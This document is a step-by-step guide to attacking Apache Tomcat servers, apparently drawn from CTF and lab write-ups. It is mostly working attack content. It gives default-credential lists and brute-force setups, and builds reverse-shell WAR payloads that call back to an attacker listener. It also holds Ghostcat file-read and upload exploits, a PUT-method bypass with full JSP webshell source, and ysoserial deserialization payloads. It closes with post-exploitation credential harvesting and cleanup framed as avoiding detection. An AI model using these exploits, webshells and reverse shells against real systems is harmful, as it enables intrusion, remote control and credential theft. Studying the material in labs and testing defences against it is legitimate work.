- Methodology Overview
- Phase 1: Enumeration and Discovery
- Phase 2: Exploiting Default Credentials
- Phase 3: WAR File Deployment (RCE)
- Phase 4: Ghostcat - AJP Exploitation (CVE-2020-1938)
- Phase 5: PUT Method Exploitation (CVE-2017-12615)
- Phase 6: Deserialization Attack (CVE-2020-9484)
- Complete Attack Flow Summary
The following methodology represents the standard attack kill chain for Tomcat exploitation, based on real-world penetration tests and CTF writeups:
RECON → ENUMERATE → GAIN ACCESS → MAINTAIN ACCESS → CLEANUP
↓ ↓ ↓ ↓ ↓
Port Scan Version Manager Reverse Shell Undeploy
Service ID Paths Exploit Persistence WAR
The first step is identifying Tomcat instances and their exposed ports.
# Comprehensive Nmap scan for Tomcat services
nmap -sC -sV -p- 10.10.10.10 -oA tomcat_scan
# Quick scan for common Tomcat ports
nmap -p 8080,8081,8180,8009,8443 10.10.10.10 -sV
# Aggressive scan with OS detection
nmap -sC -sV -A -p 8080,8009 10.10.10.10Real-World Example (Tomghost CTF): During the TryHackMe Tomghost room, initial enumeration revealed:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu
80/tcp open http Apache httpd 2.4.29
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
The presence of port 8009 (AJP protocol) immediately suggested the Ghostcat vulnerability (CVE-2020-1938).
Once Tomcat is identified, access the web interface to determine the version and available endpoints.
# Check main Tomcat landing page
curl -I http://10.10.10.10:8080/
# Access Manager interfaces
curl http://10.10.10.10:8080/manager/html
curl http://10.10.10.10:8080/manager/text
# Check for documentation and examples
curl http://10.10.10.10:8080/docs/
curl http://10.10.10.10:8080/examples/
# Version disclosure through error pages
curl http://10.10.10.10:8080/nonexistentCommon Paths to Check:
| Path | Description |
|---|---|
/manager/html |
Web-based Manager GUI |
/manager/text |
Text-based Manager interface |
/host-manager/html |
Virtual Host Manager |
/docs/ |
Documentation (often reveals version) |
/examples/ |
Example applications |
/RELEASE-NOTES.txt |
Direct version disclosure |
The AJP service on port 8009 is frequently overlooked but can be exploited for file disclosure.
# Test if AJP port is accessible
nc -v 10.10.10.10 8009
# Use Nmap AJP scripts
nmap -p 8009 --script ajp-auth,ajp-methods,ajp-request 10.10.10.10Real-World Finding: In the Tomghost room, the AJP connector was found to be listening on all interfaces (0.0.0.0:8009), making it exploitable from any network location.
Default credentials remain one of the most common entry points for Tomcat exploitation. According to penetration test reports, the Manager application being exposed with default credentials is a frequently discovered high-severity issue.
Default Credentials to Test:
Username:Password
admin:admin
admin:password
admin:tomcat
tomcat:tomcat
tomcat:s3cret
manager:manager
role1:role1
root:root
both:tomcat
admin:changethis
Manual Testing with Curl:
# Test single credential pair
curl -u tomcat:tomcat http://10.10.10.10:8080/manager/html
# Expected responses:
# 200 OK - Authentication successful
# 401 Unauthorized - Invalid credentials
# 403 Forbidden - Valid but insufficient roleThe most effective approach for testing default credentials is using Burp Suite Intruder with base64 encoding, as Tomcat uses HTTP Basic Authentication.
Step-by-Step Burp Suite Configuration:
-
Intercept the login request:
- Navigate to
http://target:8080/manager/html - Turn on Burp proxy intercept
- Forward the request until you see the 401 Unauthorized response
- Navigate to
-
Send to Intruder:
- Right-click the request → Send to Intruder
- Clear all default payload positions
-
Configure payload position:
- Highlight the Authorization header value (e.g.,
Basic dG9tY2F0OnRvbWNhdA==) - Click "Add §" to mark the payload position
- Highlight the Authorization header value (e.g.,
-
Set payloads:
- Load a wordlist of credentials in
username:passwordformat - Under "Payload Processing", add rule: "Add Prefix" →
Basic - Add rule: "Encode" → "Base64-encode"
- Disable "URL-encode these characters"
- Load a wordlist of credentials in
-
Launch attack:
- Look for 200 OK responses
- Note the successful credentials
Real-World Example (HackTheBox Jerry): The Jerry machine (10.10.10.95) required this exact approach. The successful credential from the default credentials list returned a 200 OK response, granting access to the Manager application.
Metasploit provides a dedicated module for Tomcat credential brute-forcing.
# Launch Metasploit
msfconsole
# Load the Tomcat login scanner
msf6 > use auxiliary/scanner/http/tomcat_mgr_login
# View required parameters
msf6 auxiliary(scanner/http/tomcat_mgr_login) > show options
# Configure target
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RHOSTS 192.168.56.11
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8080
# Set performance options
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set THREADS 5
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set BRUTEFORCE_SPEED 3
# Use default credential list (USERPASS_FILE)
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_userpass.txt
# Run the attack
msf6 auxiliary(scanner/http/tomcat_mgr_login) > run
# Successful output example:
[+] 192.168.56.11:8080 - Login Successful: tomcat:tomcatModule Parameters Explained:
| Parameter | Purpose |
|---|---|
BLANK_PASSWORDS |
Test empty passwords for each user |
PASS_FILE |
Password dictionary file path |
USERPASS_FILE |
Combined username:password wordlist |
STOP_ON_SUCCESS |
Stop after finding valid credentials |
TARGETURI |
Manager interface path (default: /manager/html) |
USER_AS_PASS |
Test using username as password |
Once valid Manager credentials are obtained, remote code execution is achieved by deploying a malicious WAR file containing a JSP reverse shell.
# Generate reverse shell WAR with msfvenom
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.160.128 LPORT=4444 -f war -o shell.war
# Alternative: Generate without staging
msfvenom -p java/shell_reverse_tcp LHOST=192.168.160.128 LPORT=4444 -f war -o shell.warBefore deploying, start a netcat listener to catch the reverse shell.
# Basic netcat listener
nc -lvnp 4444
# Using Metasploit handler
msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD java/jsp_shell_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.160.128
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > runMethod A: Web Interface (Manual)
- Log into the Manager application at
/manager/html - Scroll to the "Deploy" section (WAR file to deploy)
- Click "Choose File" and select the
shell.warfile - Click "Deploy"
- The application will be deployed at
/shell/
Method B: Command Line with Curl
# Deploy using curl
curl -u 'tomcat:tomcat' --upload-file shell.war "http://10.10.10.10:8080/manager/text/deploy?path=/shell&update=true"Method C: Metasploit tomcat_mgr_upload Module
msf6 > use exploit/multi/http/tomcat_mgr_upload
msf6 exploit(multi/http/tomcat_mgr_upload) > set RHOSTS 192.168.160.129
msf6 exploit(multi/http/tomcat_mgr_upload) > set RPORT 8180
msf6 exploit(multi/http/tomcat_mgr_upload) > set USERNAME tomcat
msf6 exploit(multi/http/tomcat_mgr_upload) > set PASSWORD tomcat
msf6 exploit(multi/http/tomcat_mgr_upload) > set PAYLOAD java/jsp_shell_reverse_tcp
msf6 exploit(multi/http/tomcat_mgr_upload) > set LHOST 192.168.160.128
msf6 exploit(multi/http/tomcat_mgr_upload) > set LPORT 4444
msf6 exploit(multi/http/tomcat_mgr_upload) > run# Access the deployed application to trigger execution
curl http://10.10.10.10:8080/shell/
# Or open in browser
firefox http://10.10.10.10:8080/shell/Successful Shell Output:
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.160.128] from (UNKNOWN) [192.168.160.129] 43237
id
uid=110(tomcat55) gid=65534(nogroup) groups=65534(nogroup)
python -c 'import pty; pty.spawn("/bin/bash")'
tomcat55@metasploitable:/$
Note: After gaining access, upgrade the shell for better interaction using the Python PTY command shown above.
Always clean up deployed shells to avoid detection and maintain access control.
# Undeploy via Manager text interface
curl -u 'tomcat:tomcat' "http://10.10.10.10:8080/manager/text/undeploy?path=/shell"
# Or via web interface by clicking "Undeploy" next to the applicationGhostcat is a file inclusion vulnerability in Apache Tomcat's AJP connector (CVE-2020-1938). It allows unauthenticated read access to web application files, and in some configurations, remote code execution.
Affected Versions:
- Apache Tomcat 9.x < 9.0.31
- Apache Tomcat 8.x < 8.5.51
- Apache Tomcat 7.x < 7.0.100
- Apache Tomcat 6 (all versions)
Prerequisites for Exploitation:
- AJP port (8009) accessible
- Tomcat version vulnerable
- (For RCE) File upload capability exists in the web application
# Check if AJP port is open
nmap -p 8009 10.10.10.10 -sV
# Manual connection test
nc -v 10.10.10.10 8009
# Using Nmap script
nmap -p 8009 --script ajp-ghostcat 10.10.10.10The most straightforward exploitation is reading sensitive files from the web application.
Using Metasploit:
msfconsole
msf6 > search cve-2020-1938
msf6 > use 0 # auxiliary/admin/http/tomcat_ghostcat
msf6 auxiliary(admin/http/tomcat_ghostcat) > set RHOSTS 10.10.10.10
msf6 auxiliary(admin/http/tomcat_ghostcat) > set RPORT 8009
msf6 auxiliary(admin/http/tomcat_ghostcat) > set FILENAME /WEB-INF/web.xml
msf6 auxiliary(admin/http/tomcat_ghostcat) > runUsing Python PoC:
# Download Ghostcat exploit
git clone https://github.com/00theway/Ghostcat-CVE-2020-1938
cd Ghostcat-CVE-2020-1938
# Read web.xml configuration
python3 CVE-2020-1938.py 10.10.10.10 -p 8009 -f WEB-INF/web.xml
# Read tomcat-users.xml for credentials
python3 CVE-2020-1938.py 10.10.10.10 -p 8009 -f WEB-INF/tomcat-users.xml
# Read application source code
python3 CVE-2020-1938.py 10.10.10.10 -p 8009 -f WEB-INF/classes/com/example/Config.classFor RCE, you need a file upload capability in the target web application.
Attack Chain:
- Upload a malicious JSP file through any available upload functionality (profile picture, document upload, etc.)
- Note the upload path (e.g.,
/uploads/avatar.jsp) - Use Ghostcat to include and execute the uploaded file
# After uploading a JSP webshell (disguised as image)
python3 ghostcat.py -h 10.10.10.10 -p 8009 -f uploads/shell.jsp --includ
# Access the shell
curl http://10.10.10.10:8080/uploads/shell.jsp?cmd=idMetasploit AJP Upload Module:
msfconsole
msf6 > use exploit/multi/http/tomcat_ajp_upload_bypass
msf6 exploit(multi/http/tomcat_ajp_upload_bypass) > set RHOSTS 10.10.10.10
msf6 exploit(multi/http/tomcat_ajp_upload_bypass) > set RPORT 8009
msf6 exploit(multi/http/tomcat_ajp_upload_bypass) > set TARGETURI /
msf6 exploit(multi/http/tomcat_ajp_upload_bypass) > set PAYLOAD java/jsp_shell_reverse_tcp
msf6 exploit(multi/http/tomcat_ajp_upload_bypass) > set LHOST 192.168.160.128
msf6 exploit(multi/http/tomcat_ajp_upload_bypass) > runReal-World Example (Tomghost CTF):
In the Tomghost room, the attacker used Ghostcat to read WEB-INF/web.xml, which revealed the application structure. The application had a file upload feature, allowing the attacker to upload a JSP webshell disguised as a PNG image. Using Ghostcat's include capability, they executed the webshell and gained persistent access as the tomcat user.
This vulnerability affects Tomcat 7.0.0 to 7.0.79 on Windows systems when the HTTP PUT method is enabled (readonly=false). Attackers can upload JSP files by using special filename characters to bypass JSP file restrictions.
# Test if PUT method is enabled
curl -X PUT "http://10.10.10.10:8080/test.txt/" -d "test content"
# Check response
# 201 Created - PUT is enabled and vulnerability exists
# 403 Forbidden - PUT is disabled (readonly=true)
# 404 Not Found - Path doesn't exist but method may be allowedStep-by-Step Process:
-
Intercept a normal GET request to the Tomcat server
-
Send to Repeater (Ctrl+R)
-
Modify the request:
- Change method from
GETtoPUT - Change the path to include a bypass character
- Add the JSP webshell as the request body
- Change method from
Request Example:
PUT /shell.jsp/ HTTP/1.1
Host: 10.10.10.10:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 356
<%@ page import="java.util.*,java.io.*"%>
<%
if(request.getParameter("cmd") != null) {
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
DataInputStream dis = new DataInputStream(p.getInputStream());
String line = dis.readLine();
while(line != null) {
out.println(line);
line = dis.readLine();
}
}
%>
Bypass Characters (Windows-specific):
| Bypass Method | Path Example |
|---|---|
| Trailing slash | /shell.jsp/ |
| Space character | /shell.jsp%20 |
| NTFS stream | /shell.jsp::$DATA |
These bypasses work because Tomcat's DefaultServlet (which handles static files) processes PUT requests, while JspServlet (which handles JSP files) does not. The bypass tricks Tomcat into using DefaultServlet for JSP files.
# Check if file was uploaded
curl http://10.10.10.10:8080/shell.jsp?cmd=whoami
# Response should show command outputCreating a Webshell:
Save the following as cmd.jsp:
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>
<%
if("hack".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>Upload using Curl:
# Upload with trailing slash bypass
curl -X PUT "http://10.10.10.10:8080/cmd.jsp/" --data-binary @cmd.jsp
# Execute commands
curl "http://10.10.10.10:8080/cmd.jsp?pwd=hack&cmd=whoami"Real-World Exploitation (Vulhub Environment):
In the Vulhub Tomcat CVE-2017-12615 environment, the following steps achieved RCE:
- Confirm PUT is enabled by uploading a test file
- Upload a JSP webshell using the
/bypass - Connect using a webshell management tool like Behinder (冰蝎)
- Execute system commands and browse the file system
This vulnerability allows remote code execution via deserialization when Tomcat uses PersistentManager with FileStore for session persistence. All four conditions must be true for successful exploitation.
Required Conditions:
PersistentManagerenabled withFileStore- Attacker can upload a file with controlled content and name
- Attacker knows the relative path from FileStore storage location
- Gadgets for deserialization exist in classpath (e.g., commons-collections, clojure)
Affected Versions:
- Tomcat 10.x < 10.0.0-M5
- Tomcat 9.x < 9.0.35
- Tomcat 8.x < 8.5.55
- Tomcat 7.x < 7.0.104
Check for indicators of the vulnerable configuration:
# Check for FileStore configuration in context.xml
# Look for:
# <Manager className="org.apache.catalina.session.PersistentManager"
# saveOnRestart="false">
# <Store className="org.apache.catalina.session.FileStore"/>
# </Manager>
# Check for dependency libraries that contain deserialization gadgets
# Common vulnerable libraries: commons-collections, clojure, groovyThis attack requires a file upload endpoint and knowledge of the server's session storage path.
Step-by-Step Exploitation:
- Generate malicious session file using ysoserial:
# Download ysoserial
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
# Generate payload (Clojure gadget for CVE-2020-9484 example)
java -jar ysoserial-all.jar Clojure "touch /tmp/pwned" > malicious.session-
Upload the session file through any available file upload functionality
-
Trigger deserialization by setting the JSESSIONID cookie to point to the uploaded file:
curl -H "Cookie: JSESSIONID=../../../../../../tmp/uploads/malicious" http://10.10.10.10:8080/The official PoC for CVE-2020-9484 demonstrates a complete attack:
# Configuration for exploit.py
UPLOAD_URL = 'http://10.10.10.10:8080/upload'
FILE_UPLOAD_BASE_PATH = '/var/tmp/uploads/'
YOSERIAL_PAYLOAD_TYPE = "Clojure"
# Run the exploit
python3 exploit.pyHow the exploit works:
- Downloads ysoserial automatically
- Generates two malicious .session files:
chmodPayload.session- Makes payload executableexecutePayload.session- Executes the payload
- Uploads the payload and .session files to the server
- Triggers requests with crafted JSESSIONID cookies
- Deserialization executes the payload on the server
| Phase | Action | Tools | Expected Outcome |
|---|---|---|---|
| 1 | Port scan for 8080, 8009, 8180 | Nmap | Identify Tomcat services |
| 2 | Version detection | Curl, Browser | Determine vulnerability surface |
| 3 | Check for Manager access | Burp, Metasploit | Identify authentication requirements |
| 4 | Brute force credentials | Burp Intruder, Metasploit | Valid Manager credentials |
| 5 | Deploy WAR payload | msfvenom, Curl | Reverse shell as tomcat user |
| 6 | Escalate privileges | System enumeration | Higher privilege access |
| 7 | Clean up | Manager undeploy | Remove evidence |
- Default Credentials - Tomcat Manager with
tomcat:tomcatoradmin:admin - Exposed AJP Port (Ghostcat) - File disclosure leading to credential theft
- PUT Method Vulnerability - Direct JSP upload on Windows systems
- Session Deserialization - Complex but powerful when conditions align
| Tool | Purpose | Key Commands |
|---|---|---|
| Nmap | Service discovery | nmap -sC -sV -p- target |
| Burp Suite | Credential brute force | Intruder with base64 encoding |
| Metasploit | Automated exploitation | tomcat_mgr_login, tomcat_mgr_upload |
| msfvenom | Payload generation | -p java/jsp_shell_reverse_tcp -f war |
| Netcat | Listener | nc -lvnp 4444 |
| ysoserial | Deserialization payloads | java -jar ysoserial.jar |
After gaining access to the Tomcat server:
# Upgrade to full PTY
python -c 'import pty; pty.spawn("/bin/bash")'
# Find configuration files
find / -name "tomcat-users.xml" 2>/dev/null
find / -name "context.xml" 2>/dev/null
find / -name "server.xml" 2>/dev/null
# Extract database credentials from context files
grep -r "password" /var/lib/tomcat*/conf/
# Check for other running services
netstat -tulpn | grep LISTEN- CVE-2020-1938 Ghostcat NVD Entry
- CVE-2017-12615 NVD Entry
- CVE-2020-9484 NVD Entry
- Metasploit Framework Documentation
- Vulhub Docker Compose Environments for Tomcat